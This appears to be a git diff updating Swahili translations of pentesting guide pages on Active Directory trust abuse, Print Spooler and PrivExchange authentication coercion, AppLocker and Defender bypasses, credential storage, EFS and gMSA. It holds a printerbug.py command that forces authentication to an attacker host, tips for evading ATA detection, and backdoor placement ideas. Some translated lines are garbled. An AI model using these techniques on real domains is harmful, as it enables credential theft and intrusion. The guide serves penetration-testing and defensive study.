Maelezo zaidi kuhusu hili yanaweza kusomwa katika [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Katika hali ambazo hazina ADCS, mshambuliaji ana uwezo wa kuanzisha vipengele muhimu, kama ilivyojadiliwa katika [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
Maelezo zaidi kuhusu hili yanaweza kusomwa katika [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Katika hali zisizo na ADCS, mshambuliaji ana uwezo wa kuanzisha vipengele muhimu, kama ilivyojadiliwa katika [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### External Forest Domain - One-Way (Inbound) or bidirectional
|
||||
```powershell
|
||||
@ -637,68 +629,70 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
Katika hali hii **domeini yako** in **kuamini** baadhi ya **mamlaka** kwa kiongozi kutoka **domeini tofauti**.
|
||||
Katika hali hii **domeni yako** in **amini** baadhi ya **mamlaka** kwa kiongozi kutoka **domeni tofauti**.
|
||||
|
||||
Hata hivyo, wakati **domeini inayoaminika** na domeini inayokubali, domeini inayokubali **inaunda mtumiaji** mwenye **jina linaloweza kutabiriwa** ambalo linatumia kama **nenosiri nenosiri lililoaminika**. Hii ina maana kwamba inawezekana **kufikia mtumiaji kutoka kwa domeini inayokubali ili kuingia ndani ya ile inayokubaliwa** ili kuhesabu na kujaribu kupandisha mamlaka zaidi:
|
||||
Hata hivyo, wakati **domeni inapoaminika** na domeni inayoamini, domeni iliyoaminika **inaunda mtumiaji** mwenye **jina linaloweza kutabiriwa** ambalo linatumia kama **nenosiri nenosiri lililoaminika**. Hii ina maana kwamba inawezekana **kufikia mtumiaji kutoka kwenye domeni inayoamini ili kuingia kwenye ile iliyoaminika** ili kuhesabu na kujaribu kupandisha mamlaka zaidi:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Njia nyingine ya kuathiri domeini inayokubaliwa ni kutafuta [**kiungo cha SQL kilichoaminika**](abusing-ad-mssql.md#mssql-trusted-links) kilichoundwa katika **mwelekeo kinyume** cha uaminifu wa domeini (ambayo si ya kawaida sana).
|
||||
Njia nyingine ya kuathiri domeni iliyoaminika ni kutafuta [**kiungo cha SQL kilichoaminika**](abusing-ad-mssql.md#mssql-trusted-links) kilichoundwa katika **mwelekeo kinyume** cha uaminifu wa domeni (ambayo si ya kawaida sana).
|
||||
|
||||
Njia nyingine ya kuathiri domeini inayokubaliwa ni kusubiri kwenye mashine ambapo **mtumiaji kutoka domeini inayokubaliwa anaweza kufikia** kuingia kupitia **RDP**. Kisha, mshambuliaji anaweza kuingiza msimbo katika mchakato wa kikao cha RDP na **kufikia domeini ya asili ya mwathirika** kutoka pale.\
|
||||
Zaidi ya hayo, ikiwa **mwathirika ameunganisha diski yake ngumu**, kutoka kwenye mchakato wa **kikao cha RDP** mshambuliaji anaweza kuhifadhi **backdoors** katika **kabrasha la kuanzisha la diski ngumu**. Mbinu hii inaitwa **RDPInception.**
|
||||
Njia nyingine ya kuathiri domeni iliyoaminika ni kusubiri kwenye mashine ambapo **mtumiaji kutoka kwenye domeni iliyoaminika anaweza kufikia** kuingia kupitia **RDP**. Kisha, mshambuliaji anaweza kuingiza msimbo katika mchakato wa kikao cha RDP na **kufikia domeni ya asili ya mwathirika** kutoka pale.\
|
||||
Zaidi ya hayo, ikiwa **mwathirika ameunganisha diski yake ngumu**, kutoka kwenye mchakato wa **kikao cha RDP** mshambuliaji anaweza kuhifadhi **backdoors** kwenye **kabrasha la kuanzisha la diski ngumu**. Mbinu hii inaitwa **RDPInception.**
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Kupunguza matumizi mabaya ya uaminifu wa domeini
|
||||
### Kupunguza matumizi mabaya ya uaminifu wa domeni
|
||||
|
||||
### **SID Filtering:**
|
||||
|
||||
- Hatari ya mashambulizi yanayotumia sifa ya historia ya SID katika uaminifu wa misitu inapunguziliwa mbali na SID Filtering, ambayo imewezeshwa kwa chaguo-msingi kwenye uaminifu wote wa kati ya misitu. Hii inategemea dhana kwamba uaminifu wa ndani ya misitu ni salama, ikizingatia msitu, badala ya domeini, kama mpaka wa usalama kulingana na msimamo wa Microsoft.
|
||||
- Hatari ya mashambulizi yanayotumia sifa ya historia ya SID katika uaminifu wa misitu inapunguziliwa mbali na SID Filtering, ambayo imewezeshwa kwa chaguo-msingi kwenye uaminifu wote wa kati ya misitu. Hii inategemea dhana kwamba uaminifu wa ndani ya misitu ni salama, ikizingatia msitu, badala ya domeni, kama mpaka wa usalama kulingana na msimamo wa Microsoft.
|
||||
- Hata hivyo, kuna tatizo: filtering ya SID inaweza kuathiri programu na ufikiaji wa watumiaji, na kusababisha kuondolewa kwake mara kwa mara.
|
||||
|
||||
### **Uthibitishaji wa Chaguo:**
|
||||
|
||||
- Kwa uaminifu wa kati ya misitu, kutumia Uthibitishaji wa Chaguo kunahakikisha kwamba watumiaji kutoka misitu miwili hawathibitishwi moja kwa moja. Badala yake, ruhusa wazi zinahitajika kwa watumiaji kufikia domeini na seva ndani ya domeini au msitu unaokubali.
|
||||
- Ni muhimu kutambua kwamba hatua hizi hazilindi dhidi ya matumizi mabaya ya Muktadha wa Jina la Mwandiko (NC) unaoweza kuandikwa au mashambulizi kwenye akaunti ya uaminifu.
|
||||
- Kwa uaminifu wa kati ya misitu, kutumia Uthibitishaji wa Chaguo kunahakikisha kwamba watumiaji kutoka kwenye misitu miwili hawathibitishwi moja kwa moja. Badala yake, ruhusa wazi zinahitajika kwa watumiaji kufikia domeni na seva ndani ya domeni au msitu unaoamini.
|
||||
- Ni muhimu kutambua kwamba hatua hizi hazilindi dhidi ya matumizi mabaya ya Muktadha wa Jina la Mkononi (NC) unaoweza kuandikwa au mashambulizi kwenye akaunti ya uaminifu.
|
||||
|
||||
[**Taarifa zaidi kuhusu uaminifu wa domeini katika ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
[**Taarifa zaidi kuhusu uaminifu wa domeni katika ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
|
||||
{{#endref}}
|
||||
|
||||
## Ulinzi wa Jumla
|
||||
|
||||
[**Jifunze zaidi kuhusu jinsi ya kulinda hati hapa.**](../stealing-credentials/credentials-protections.md)\\
|
||||
|
||||
### **Hatua za Kijamii za Ulinzi wa Hati**
|
||||
### **Hatua za Kijeshi za Ulinzi wa Hati**
|
||||
|
||||
- **Vikwazo vya Wasimamizi wa Domeini**: Inapendekezwa kwamba Wasimamizi wa Domeini wanapaswa kuruhusiwa kuingia tu kwenye Wasimamizi wa Domeini, kuepuka matumizi yao kwenye mwenyeji wengine.
|
||||
- **Mamlaka ya Akaunti ya Huduma**: Huduma hazipaswi kuendeshwa kwa mamlaka ya Wasimamizi wa Domeini (DA) ili kudumisha usalama.
|
||||
- **Kikomo cha Mamlaka ya Muda**: Kwa kazi zinazohitaji mamlaka ya DA, muda wao unapaswa kuwa mdogo. Hii inaweza kufanywa kwa: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Vikwazo vya Wasimamizi wa Domeni**: Inapendekezwa kwamba Wasimamizi wa Domeni wanapaswa kuruhusiwa kuingia tu kwenye Wasimamizi wa Domeni, kuepuka matumizi yao kwenye mwenyeji wengine.
|
||||
- **Mamlaka ya Akaunti ya Huduma**: Huduma hazipaswi kuendeshwa kwa mamlaka ya Wasimamizi wa Domeni (DA) ili kudumisha usalama.
|
||||
- **Kikomo cha Muda wa Mamlaka**: Kwa kazi zinazohitaji mamlaka ya DA, muda wao unapaswa kuwa mdogo. Hii inaweza kufanywa kwa: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Kutekeleza Mbinu za Udanganyifu**
|
||||
|
||||
- Kutekeleza udanganyifu kunahusisha kuweka mitego, kama vile watumiaji wa udanganyifu au kompyuta, zikiwa na sifa kama vile nenosiri ambazo hazikomei au zimewekwa kama Zinazoaminika kwa Uwakilishi. Njia ya kina inajumuisha kuunda watumiaji wenye haki maalum au kuwaongeza kwenye vikundi vya mamlaka ya juu.
|
||||
- Kutekeleza udanganyifu kunahusisha kuweka mitego, kama vile watumiaji wa udanganyifu au kompyuta, zikiwa na sifa kama vile nenosiri ambazo hazitaisha au zimewekwa kama Zinazoaminika kwa Uwakilishi. Njia ya kina inajumuisha kuunda watumiaji wenye haki maalum au kuwaongeza kwenye vikundi vya mamlaka ya juu.
|
||||
- Mfano wa vitendo unahusisha kutumia zana kama: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Zaidi kuhusu kutekeleza mbinu za udanganyifu zinaweza kupatikana kwenye [Deploy-Deception kwenye GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
- Zaidi kuhusu kutekeleza mbinu za udanganyifu yanaweza kupatikana kwenye [Deploy-Deception kwenye GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Kutambua Udanganyifu**
|
||||
|
||||
- **Kwa Vitu vya Mtumiaji**: Viashiria vya kutatanisha ni pamoja na ObjectSID isiyo ya kawaida, kuingia mara chache, tarehe za uundaji, na idadi ndogo ya nenosiri mbaya.
|
||||
- **Viashiria vya Jumla**: Kulinganisha sifa za vitu vya udanganyifu vinavyowezekana na zile za halali kunaweza kufichua kutokuelewana. Zana kama [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) zinaweza kusaidia katika kutambua udanganyifu kama huo.
|
||||
|
||||
### **Kupita Mifumo ya Ugunduzi**
|
||||
### **Kupita Mfumo wa Ugunduzi**
|
||||
|
||||
- **Kupita Ugunduzi wa Microsoft ATA**:
|
||||
- **Uhesabuji wa Watumiaji**: Kuepuka uhesabuji wa kikao kwenye Wasimamizi wa Domeini ili kuzuia ugunduzi wa ATA.
|
||||
- **Uigaji wa Tiketi**: Kutumia funguo za **aes** kwa ajili ya uundaji wa tiketi husaidia kuepuka ugunduzi kwa kutokushuka hadi NTLM.
|
||||
- **Mashambulizi ya DCSync**: Kutekeleza kutoka kwa Wasimamizi wa Domeini si pendekezo, kwani kutekeleza moja kwa moja kutoka kwa Wasimamizi wa Domeini kutasababisha arifa.
|
||||
- **Uhesabuji wa Watumiaji**: Kuepuka uhesabuji wa kikao kwenye Wasimamizi wa Domeni ili kuzuia ugunduzi wa ATA.
|
||||
- **Uigaji wa Tiketi**: Kutumia funguo za **aes** kwa ajili ya uundaji wa tiketi husaidia kuepuka ugunduzi kwa kutoshuka hadi NTLM.
|
||||
- **Mashambulizi ya DCSync**: Kutekeleza kutoka kwa Wasimamizi wa Domeni sio pendekezo, kwani kutekeleza moja kwa moja kutoka kwa Wasimamizi wa Domeni kutasababisha arifa.
|
||||
|
||||
## Marejeleo
|
||||
|
||||
|
@ -8,16 +8,16 @@
|
||||
|
||||
## Spooler Service Abuse
|
||||
|
||||
Ikiwa huduma ya _**Print Spooler**_ ime **wezeshwa,** unaweza kutumia baadhi ya akidi za AD zinazojulikana tayari ku **omba** server ya uchapishaji ya Domain Controller **kuh更新** kuhusu kazi mpya za uchapishaji na kumwambia tu **aitumie arifa kwa mfumo fulani**.\
|
||||
Kumbuka wakati printer inatuma arifa kwa mifumo isiyo ya kawaida, inahitaji **kujiimarisha dhidi** ya **mfumo** huo. Hivyo, mshambuliaji anaweza kufanya huduma ya _**Print Spooler**_ kujiimarisha dhidi ya mfumo wowote, na huduma hiyo itatumia **akaunti ya kompyuta** katika uthibitishaji huu.
|
||||
Ikiwa huduma ya _**Print Spooler**_ ime **wezeshwa,** unaweza kutumia baadhi ya akidi za AD zinazojulikana tayari ili **kuomba** kwa seva ya uchapishaji ya Domain Controller **sasisho** kuhusu kazi mpya za uchapishaji na kumwambia tu **aitumie arifa kwa mfumo fulani**.\
|
||||
Kumbuka wakati printer inatuma arifa kwa mifumo isiyo ya kawaida, inahitaji **kujiuthibitisha dhidi** ya **mfumo** huo. Hivyo, mshambuliaji anaweza kufanya huduma ya _**Print Spooler**_ kujiuthibitisha dhidi ya mfumo wowote, na huduma hiyo itatumia **akaunti ya kompyuta** katika uthibitishaji huu.
|
||||
|
||||
### Finding Windows Servers on the domain
|
||||
|
||||
Kwa kutumia PowerShell, pata orodha ya masanduku ya Windows. Servers kwa kawaida ni kipaumbele, hivyo hebu tuzingatie hapo:
|
||||
Kwa kutumia PowerShell, pata orodha ya masanduku ya Windows. Seva mara nyingi ni kipaumbele, hivyo hebu tuzingatie hapo:
|
||||
```bash
|
||||
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
||||
```
|
||||
### Kupata huduma za Spooler zinazot listening
|
||||
### Kupata huduma za Spooler zinazot Listening
|
||||
|
||||
Kwa kutumia toleo lililobadilishwa kidogo la @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), angalia kama Huduma ya Spooler inasikiliza:
|
||||
```bash
|
||||
@ -41,21 +41,23 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
||||
```
|
||||
### Kuunganisha na Uwakilishi Usio na Kikomo
|
||||
|
||||
Ikiwa mshambuliaji tayari ameathiri kompyuta yenye [Uwakilishi Usio na Kikomo](unconstrained-delegation.md), mshambuliaji anaweza **kufanya printer ithibitishwe dhidi ya kompyuta hii**. Kwa sababu ya uwakilishi usio na kikomo, **TGT** ya **akaunti ya kompyuta ya printer** itakuwa **imehifadhiwa katika** **kumbukumbu** ya kompyuta yenye uwakilishi usio na kikomo. Kwa kuwa mshambuliaji tayari ameathiri mwenyeji huyu, ataweza **kurejesha tiketi hii** na kuifanya itumike ([Pass the Ticket](pass-the-ticket.md)).
|
||||
Ikiwa mshambuliaji tayari ameathiri kompyuta yenye [Uwakilishi Usio na Kikomo](unconstrained-delegation.md), mshambuliaji anaweza **kufanya printer ithibitishwe dhidi ya kompyuta hii**. Kwa sababu ya uwakilishi usio na kikomo, **TGT** ya **akaunti ya kompyuta ya printer** itakuwa **imehifadhiwa katika** **kumbukumbu** ya kompyuta yenye uwakilishi usio na kikomo. Kwa kuwa mshambuliaji tayari ameathiri mwenyeji huyu, ataweza **kurejesha tiketi hii** na kuitumia vibaya ([Pass the Ticket](pass-the-ticket.md)).
|
||||
|
||||
## RCP Kulazimisha uthibitisho
|
||||
|
||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||
{{#ref}}
|
||||
https://github.com/p0dalirius/Coercer
|
||||
{{#endref}}
|
||||
|
||||
## PrivExchange
|
||||
|
||||
Shambulio la `PrivExchange` ni matokeo ya kasoro iliyopatikana katika **kipengele cha `PushSubscription` cha Exchange Server**. Kipengele hiki kinaruhusu server ya Exchange kulazimishwa na mtumiaji yeyote wa kikoa mwenye sanduku la barua kuthibitisha kwa mwenyeji wowote uliopewa na mteja kupitia HTTP.
|
||||
Shambulio la `PrivExchange` ni matokeo ya kasoro iliyopatikana katika kipengele cha **Exchange Server `PushSubscription`**. Kipengele hiki kinaruhusu server ya Exchange kulazimishwa na mtumiaji yeyote wa kikoa mwenye sanduku la barua kuthibitisha kwa mwenyeji yeyote aliyepewa na mteja kupitia HTTP.
|
||||
|
||||
Kwa kawaida, **huduma ya Exchange inafanya kazi kama SYSTEM** na inapewa mamlaka kupita kiasi (hasa, ina **WriteDacl privileges kwenye kikoa kabla ya Sasisho la Jumla la 2019**). Kasoro hii inaweza kutumika kuweza **kupeleka taarifa kwa LDAP na kisha kutoa hifadhidata ya NTDS ya kikoa**. Katika hali ambapo kupeleka kwa LDAP haiwezekani, kasoro hii bado inaweza kutumika kupeleka na kuthibitisha kwa wenyeji wengine ndani ya kikoa. Ufanisi wa shambulio hili unatoa ufikiaji wa haraka kwa Msimamizi wa Kikoa na akaunti yoyote ya mtumiaji wa kikoa iliyoidhinishwa.
|
||||
Kwa kawaida, **huduma ya Exchange inafanya kazi kama SYSTEM** na inapewa mamlaka kupita kiasi (hasa, ina **WriteDacl privileges kwenye kikoa kabla ya Sasisho la Jumla la 2019**). Kasoro hii inaweza kutumika kuboresha **kupeleka taarifa kwa LDAP na kisha kutoa hifadhidata ya NTDS ya kikoa**. Katika hali ambapo kupeleka kwa LDAP haiwezekani, kasoro hii bado inaweza kutumika kupeleka na kuthibitisha kwa wenyeji wengine ndani ya kikoa. Utekelezaji wa mafanikio wa shambulio hili unatoa ufikiaji wa haraka kwa Msimamizi wa Kikoa kwa akaunti yoyote ya mtumiaji wa kikoa iliyoidhinishwa.
|
||||
|
||||
## Ndani ya Windows
|
||||
|
||||
Ikiwa tayari uko ndani ya mashine ya Windows unaweza kulazimisha Windows kuungana na server kwa kutumia akaunti zenye mamlaka na:
|
||||
Ikiwa tayari uko ndani ya mashine ya Windows unaweza kulazimisha Windows kuungana na server ukitumia akaunti zenye mamlaka kwa:
|
||||
|
||||
### Defender MpCmdRun
|
||||
```bash
|
||||
|
@ -7,7 +7,7 @@
|
||||
Orodha ya programu inayoruhusiwa ni orodha ya programu za programu au executable zilizothibitishwa ambazo zinaruhusiwa kuwepo na kuendesha kwenye mfumo. Lengo ni kulinda mazingira kutokana na malware hatari na programu zisizothibitishwa ambazo hazilingani na mahitaji maalum ya biashara ya shirika.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ni **ufumbuzi wa orodha ya programu za Microsoft** na inawapa wasimamizi wa mifumo udhibiti juu ya **ni programu zipi na faili ambazo watumiaji wanaweza kuendesha**. Inatoa **udhibiti wa kina** juu ya executable, scripts, faili za Windows installer, DLLs, programu zilizopakiwa, na waandishi wa programu zilizopakiwa.\
|
||||
Ni kawaida kwa mashirika **kuzuia cmd.exe na PowerShell.exe** na kuandika ufikiaji kwa baadhi ya directories, **lakini hii yote inaweza kupuuziliwa mbali**.
|
||||
Ni kawaida kwa mashirika **kuzuia cmd.exe na PowerShell.exe** na kuandika ufikiaji kwenye saraka fulani, **lakini hii yote inaweza kupuuziliwa mbali**.
|
||||
|
||||
### Check
|
||||
|
||||
@ -37,8 +37,8 @@ C:\windows\tracing
|
||||
- **Kanuni zilizoandikwa vibaya zinaweza pia kupitishwa**
|
||||
- Kwa mfano, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, unaweza kuunda **folda inayoitwa `allowed`** mahali popote na itaruhusiwa.
|
||||
- Mashirika mara nyingi pia yanazingatia **kuzuia `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, lakini yanasahau kuhusu **mengine** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) kama `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` au `PowerShell_ISE.exe`.
|
||||
- **DLL enforcement mara chache huwekwa** kutokana na mzigo wa ziada ambao inaweza kuweka kwenye mfumo, na kiasi cha majaribio kinachohitajika kuhakikisha hakuna kitu kitaharibika. Hivyo kutumia **DLLs kama backdoors kutasaidia kupita AppLocker**.
|
||||
- Unaweza kutumia [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) au [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili **kutekeleza Powershell** msimbo katika mchakato wowote na kupita AppLocker. Kwa maelezo zaidi angalia: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
- **DLL enforcement mara chache huwekwa** kutokana na mzigo wa ziada ambao inaweza kuweka kwenye mfumo, na kiasi cha upimaji kinachohitajika kuhakikisha hakuna kitu kitaharibika. Hivyo kutumia **DLLs kama backdoors kutasaidia kupita AppLocker**.
|
||||
- Unaweza kutumia [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) au [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili **kutekeleza Powershell** code katika mchakato wowote na kupita AppLocker. Kwa maelezo zaidi angalia: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Hifadhi ya Akida
|
||||
|
||||
@ -52,7 +52,7 @@ Akida za ndani zipo katika faili hii, nywila zimepangwa.
|
||||
**LSA** inasimamia **sera ya usalama** ya ndani (sera ya nywila, ruhusa za watumiaji...), **uthibitishaji**, **tokens za ufikiaji**...\
|
||||
LSA itakuwa ndiyo itakayofanya **ukaguzi** wa akida zilizotolewa ndani ya faili **SAM** (kwa kuingia kwa ndani) na **kuzungumza** na **kikundi cha kudhibiti** ili kuthibitisha mtumiaji wa kikoa.
|
||||
|
||||
**Akida** zime **hifadhiwa** ndani ya **mchakato LSASS**: Tiketi za Kerberos, nywila za NT na LM, nywila zinazoweza kufichuliwa kwa urahisi.
|
||||
**Akida** zime **hifadhiwa** ndani ya **mchakato LSASS**: tiketi za Kerberos, hashes NT na LM, nywila zinazoweza kufichuliwa kwa urahisi.
|
||||
|
||||
### Siri za LSA
|
||||
|
||||
@ -65,11 +65,11 @@ LSA inaweza kuhifadhi kwenye diski baadhi ya akida:
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
Ni hifadhidata ya Active Directory. Ipo tu katika Vikundi vya Kudhibiti.
|
||||
Ni hifadhidata ya Active Directory. Inapatikana tu katika Vikundi vya Kudhibiti.
|
||||
|
||||
## Defender
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ni Antivirus inayopatikana katika Windows 10 na Windows 11, na katika matoleo ya Windows Server. In **zuia** zana za kawaida za pentesting kama **`WinPEAS`**. Hata hivyo, kuna njia za **kupita hizi ulinzi**.
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ni Antivirus inayopatikana katika Windows 10 na Windows 11, na katika matoleo ya Windows Server. In **azuia** zana za kawaida za pentesting kama **`WinPEAS`**. Hata hivyo, kuna njia za **kupita hizi ulinzi**.
|
||||
|
||||
### Angalia
|
||||
|
||||
@ -103,20 +103,20 @@ sc query windefend
|
||||
```
|
||||
## Encrypted File System (EFS)
|
||||
|
||||
EFS inalinda faili kupitia usimbaji, ikitumia **symmetric key** inayojulikana kama **File Encryption Key (FEK)**. Funguo hii inasimbwa kwa kutumia **public key** ya mtumiaji na kuhifadhiwa ndani ya $EFS **alternative data stream** ya faili iliyosimbwa. Wakati usimbuaji unahitajika, **private key** inayolingana na cheti cha kidijitali cha mtumiaji inatumika kusimbua FEK kutoka kwenye $EFS stream. Maelezo zaidi yanaweza kupatikana [hapa](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS inalinda faili kupitia usimbaji, ikitumia **symmetric key** inayojulikana kama **File Encryption Key (FEK)**. Funguo hii inasimbwa kwa kutumia **public key** ya mtumiaji na kuhifadhiwa ndani ya $EFS **alternative data stream** ya faili iliyosimbwa. Wakati usimbaji unahitajika, **private key** inayolingana ya cheti cha kidijitali cha mtumiaji inatumika kusimbua FEK kutoka kwenye $EFS stream. Maelezo zaidi yanaweza kupatikana [hapa](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Mifano ya Usimbuaji bila kuanzishwa na mtumiaji** ni pamoja na:
|
||||
**Mifano ya Usimbaji bila kuanzishwa na mtumiaji** ni pamoja na:
|
||||
|
||||
- Wakati faili au folda zinapohamishwa kwenye mfumo wa faili usio EFS, kama [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), zinapaswa kusimbuliwa moja kwa moja.
|
||||
- Wakati faili au folda zinahamishwa kwenye mfumo wa faili usio EFS, kama [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), zinapaswa kusimbuliwa moja kwa moja.
|
||||
- Faili zilizofichwa zinazotumwa kupitia mtandao kupitia SMB/CIFS protocol zinapaswa kusimbuliwa kabla ya usafirishaji.
|
||||
|
||||
Njia hii ya usimbaji inaruhusu **upatikanaji wa wazi** kwa faili zilizofichwa kwa mmiliki. Hata hivyo, kubadilisha tu nenosiri la mmiliki na kuingia hakutaruhusu usimbuaji.
|
||||
Njia hii ya usimbaji inaruhusu **upatikanaji wa wazi** kwa faili zilizofichwa kwa mmiliki. Hata hivyo, kubadilisha tu nenosiri la mmiliki na kuingia hakutaruhusu usimbaji.
|
||||
|
||||
**Mambo Muhimu**:
|
||||
|
||||
- EFS inatumia FEK ya symmetric, iliyosimbwa kwa kutumia public key ya mtumiaji.
|
||||
- Usimbuaji unatumia private key ya mtumiaji kupata FEK.
|
||||
- Usimbuaji wa moja kwa moja unafanyika chini ya hali maalum, kama vile kunakili kwenye FAT32 au usafirishaji wa mtandao.
|
||||
- Usimbaji unatumia private key ya mtumiaji kupata FEK.
|
||||
- Usimbaji wa moja kwa moja unafanyika chini ya hali maalum, kama vile kunakili kwenye FAT32 au usafirishaji wa mtandao.
|
||||
- Faili zilizofichwa zinapatikana kwa mmiliki bila hatua za ziada.
|
||||
|
||||
### Angalia taarifa za EFS
|
||||
@ -130,27 +130,29 @@ Unaweza pia kutumia `cipher /e` na `cipher /d` ndani ya folda ili **kusimbua** n
|
||||
|
||||
#### Kuwa Mamlaka ya Mfumo
|
||||
|
||||
Njia hii inahitaji **mtumiaji wa kidhulumu** kuwa **akifanya** **mchakato** ndani ya mwenyeji. Ikiwa hiyo ni kesi, kwa kutumia `meterpreter` sessions unaweza kujifanya kuwa token ya mchakato wa mtumiaji (`impersonate_token` kutoka `incognito`). Au unaweza tu `migrate` kwenye mchakato wa mtumiaji.
|
||||
Njia hii inahitaji **mtumiaji waathirika** kuwa **akifanya** **mchakato** ndani ya mwenyeji. Ikiwa hiyo ni kesi, kwa kutumia `meterpreter` sessions unaweza kujifanya kuwa token ya mchakato wa mtumiaji (`impersonate_token` kutoka `incognito`). Au unaweza tu `migrate` kwenye mchakato wa mtumiaji.
|
||||
|
||||
#### Kujua nenosiri la watumiaji
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
Microsoft ilitengeneza **Group Managed Service Accounts (gMSA)** ili kurahisisha usimamizi wa akaunti za huduma katika miundombinu ya IT. Tofauti na akaunti za huduma za jadi ambazo mara nyingi zina mipangilio ya "**Password never expire**" iliyowekwa, gMSAs hutoa suluhisho salama na linaloweza kusimamiwa zaidi:
|
||||
Microsoft ilitengeneza **Group Managed Service Accounts (gMSA)** ili kurahisisha usimamizi wa akaunti za huduma katika miundombinu ya IT. Tofauti na akaunti za huduma za jadi ambazo mara nyingi zina mipangilio ya "**Password never expire**" iliyoanzishwa, gMSAs hutoa suluhisho salama na linaloweza kusimamiwa zaidi:
|
||||
|
||||
- **Usimamizi wa Nenosiri wa Moja kwa Moja**: gMSAs hutumia nenosiri tata, la herufi 240 ambalo hubadilika moja kwa moja kulingana na sera ya kikoa au kompyuta. Mchakato huu unashughulikiwa na Huduma ya Usambazaji wa Funguo ya Microsoft (KDC), ikiondoa haja ya masasisho ya nenosiri ya mikono.
|
||||
- **Usalama Ulioimarishwa**: Akaunti hizi hazihusiki na kufungwa na haziwezi kutumika kwa kuingia kwa mwingiliano, kuimarisha usalama wao.
|
||||
- **Msaada wa Wenyeji Wengi**: gMSAs zinaweza kushirikiwa kati ya wenyeji wengi, na kuifanya kuwa bora kwa huduma zinazotumia seva nyingi.
|
||||
- **Uwezo wa Kazi Iliyopangwa**: Tofauti na akaunti za huduma zinazodhibitiwa, gMSAs zinasaidia kuendesha kazi zilizopangwa.
|
||||
- **Usimamizi wa SPN ulio Rahisishwa**: Mfumo unasasisha moja kwa moja Jina la Kiongozi wa Huduma (SPN) wakati kuna mabadiliko katika maelezo ya sAMaccount ya kompyuta au jina la DNS, kuimarisha usimamizi wa SPN.
|
||||
- **Msaada wa Wenyeji Wengi**: gMSAs zinaweza kushirikiwa kati ya wenyeji wengi, na kuifanya kuwa bora kwa huduma zinazofanya kazi kwenye seva nyingi.
|
||||
